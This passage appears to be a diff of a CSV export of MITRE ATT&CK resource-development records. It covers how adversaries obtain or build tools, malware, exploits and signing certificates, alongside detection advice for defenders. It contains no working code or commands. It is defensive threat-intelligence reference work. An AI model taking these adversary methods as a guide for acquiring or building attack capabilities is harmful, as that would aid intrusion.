Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588.002', 'url': 'https://attack.mitre.org/techniques/T1588/002'}, {'source_name': 'Recorded Future Beacon 2019', 'url': 'https://www.recordedfuture.com/identifying-cobalt-strike-servers/', 'description': 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1588/002,mitre-attack,T1588.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Tool,"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/002', 'external_id': 'T1588.002'}, {'source_name': 'Recorded Future Beacon 2019', 'description': 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/identifying-cobalt-strike-servers/'}, {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'}]",1.1,attack-pattern,attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:08:33.977Z,2021-10-17T16:17:55.499Z,Tool,"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) -Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).",attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0,attack-pattern,['resource-development'],2021-04-15T03:15:20.491Z,2020-10-01T02:08:33.977Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588.001', 'url': 'https://attack.mitre.org/techniques/T1588/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1588/001,mitre-attack,T1588.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Malware,"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. +Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).",['resource-development'],https://attack.mitre.org/techniques/T1588/002,mitre-attack,T1588.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['SOCCRATES', 'Mnemonic AS']",['Malware Repository: Malware Metadata'],,"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) -In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970,attack-pattern,['resource-development'],2021-04-15T03:14:41.582Z,2020-10-01T02:06:11.499Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588', 'url': 'https://attack.mitre.org/techniques/T1588'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}, {'url': 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/', 'description': 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', 'source_name': 'PegasusCitizenLab'}, {'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'source_name': 'DiginotarCompromise', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,False,https://attack.mitre.org/techniques/T1588,mitre-attack,T1588,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain Capabilities,"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/001', 'external_id': 'T1588.001'}, {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'}]",1.1,attack-pattern,attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:06:11.499Z,2021-10-17T16:15:52.805Z,Malware,"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. + +In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",['resource-development'],https://attack.mitre.org/techniques/T1588/001,mitre-attack,T1588.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content']",,"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588', 'external_id': 'T1588'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}, {'source_name': 'PegasusCitizenLab', 'description': 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', 'url': 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'}, {'source_name': 'DiginotarCompromise', 'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}, {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'}, {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}, {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'}]",1.1,attack-pattern,attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:56:24.776Z,2021-10-18T12:26:22.831Z,Obtain Capabilities,"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) -In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1,attack-pattern,['resource-development'],2021-04-15T03:15:21.193Z,2020-10-01T01:56:24.776Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1587.004', 'url': 'https://attack.mitre.org/techniques/T1587/004'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}, {'source_name': 'Irongeek Sims BSides 2017', 'url': 'https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims', 'description': 'Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1587/004,mitre-attack,T1587.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploits,"Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) +In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",['resource-development'],https://attack.mitre.org/techniques/T1588,mitre-attack,T1588,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Certificate: Certificate Registration', 'Internet Scan: Response Content']",,"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) + +Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/004', 'external_id': 'T1587.004'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}, {'source_name': 'Irongeek Sims BSides 2017', 'description': 'Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.', 'url': 'https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims'}]",1.0,attack-pattern,attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:48:15.511Z,2021-04-15T03:07:53.803Z,Exploits,"Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. -Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2,attack-pattern,['resource-development'],2021-04-15T03:07:53.803Z,2020-10-01T01:48:15.511Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1587.003', 'url': 'https://attack.mitre.org/techniques/T1587/003'}, {'source_name': 'Splunk Kovar Certificates 2017', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.1,True,https://attack.mitre.org/techniques/T1587/003,mitre-attack,T1587.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Digital Certificates,"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). +Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",['resource-development'],https://attack.mitre.org/techniques/T1587/004,mitre-attack,T1587.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/003', 'external_id': 'T1587.003'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}]",1.2,attack-pattern,attack-pattern--1cec9319-743b-4840-bb65-431547bce82a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:42:24.974Z,2021-10-16T17:32:34.604Z,Digital Certificates,"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). -Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). +Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). -After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",attack-pattern--1cec9319-743b-4840-bb65-431547bce82a,attack-pattern,['resource-development'],2021-04-15T02:33:38.589Z,2020-10-01T01:42:24.974Z,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",['resource-development'],https://attack.mitre.org/techniques/T1587/003,mitre-attack,T1587.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) -Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1587.002', 'url': 'https://attack.mitre.org/techniques/T1587/002'}, {'url': 'https://en.wikipedia.org/wiki/Code_signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'source_name': 'Wikipedia Code Signing'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1587/002,mitre-attack,T1587.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Code Signing Certificates,"Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/002', 'external_id': 'T1587.002'}, {'source_name': 'Wikipedia Code Signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'url': 'https://en.wikipedia.org/wiki/Code_signing'}]",1.1,attack-pattern,attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:41:08.652Z,2021-10-17T16:07:08.549Z,Code Signing Certificates,"Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. -Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf,attack-pattern,['resource-development'],2021-04-15T03:06:56.855Z,2020-10-01T01:41:08.652Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1587.001', 'url': 'https://attack.mitre.org/techniques/T1587/001'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}, {'source_name': 'Kaspersky Sofacy', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", 'url': 'https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'}, {'source_name': 'ActiveMalwareEnergy', 'description': 'Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/'}, {'source_name': 'FBI Flash FIN7 USB', 'url': 'https://www.losangeles.va.gov/documents/MI-000120-MW.pdf', 'description': 'Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020.'}, {'source_name': 'FireEye APT29', 'description': 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.', 'url': 'https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.1,True,https://attack.mitre.org/techniques/T1587/001,mitre-attack,T1587.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Malware,"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) +Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",['resource-development'],https://attack.mitre.org/techniques/T1587/002,mitre-attack,T1587.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Malware Repository: Malware Metadata'],,"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/001', 'external_id': 'T1587.001'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 